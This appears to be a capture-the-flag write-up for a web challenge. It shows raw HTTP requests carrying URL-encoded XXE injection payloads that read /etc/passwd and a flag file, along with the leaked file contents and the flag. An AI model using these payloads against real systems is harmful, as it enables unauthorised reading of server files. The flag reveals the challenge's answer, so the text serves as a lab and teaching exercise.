We can input data to change the button color and add text to it. If we input <script> we trigger an error:
```Warning: DOMDocument::loadXML(): Opening and ending tag mismatch: script line 1 and value in Entity, line: 1 in /var/www/html/index.php on line 12Warning: DOMDocument::loadXML(): Opening and ending tag mismatch: value line 1 and button in Entity, line: 1 in /var/www/html/index.php on line 12Warning: DOMDocument::loadXML(): Premature end of data in tag button line 1 in Entity, line: 1 in /var/www/html/index.php on line 12Warning: simplexml_import_dom(): Invalid Nodetype to import in /var/www/html/index.php on line 13```
Therefore we will go for a XML External Entity (XXE) Injection.
```POST /? HTTP/1.1Host: custom-ui.cha.hackpack.clubContent-Type: application/x-www-form-urlencodedCookie: debug=falseContent-Length: 198
xdata=%3c!DOCTYPE%20foo%20[%3c!ENTITY%20xxez1rnx%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3e%20]%3e%3cbutton%3e%3ccolor%3e%26xxez1rnx%3b%3c%2fcolor%3e%3cvalue%3eiii%3c%2fvalue%3e%3c%2fbutton%3e
<SNIP><body>  <div style="max-width:600px; margin:auto">    <h1>Your custom button!</h1>          <button style="background-color: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/false; padding: 15px 32px;"><SNIP>```
We change the debug cookie to true and we get a comment at the bottom of the page: `</body>`
```POST /? HTTP/1.1Host: custom-ui.cha.hackpack.clubContent-Type: application/x-www-form-urlencodedCookie: debug=falseContent-Length: 200
xdata=%3c!DOCTYPE%20foo%20[%3c!ENTITY%20xxez1rnx%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fflag.txt%22%3e%20]%3e%3cbutton%3e%3ccolor%3e%26xxez1rnx%3b%3c%2fcolor%3e%3cvalue%3eiii%3c%2fvalue%3e%3c%2fbutton%3e
<SNIP><button style="background-color: flag{d1d_y0u_kn0w_th@t_xml_can_run_code?}; padding: 15px 32px;"><SNIP>```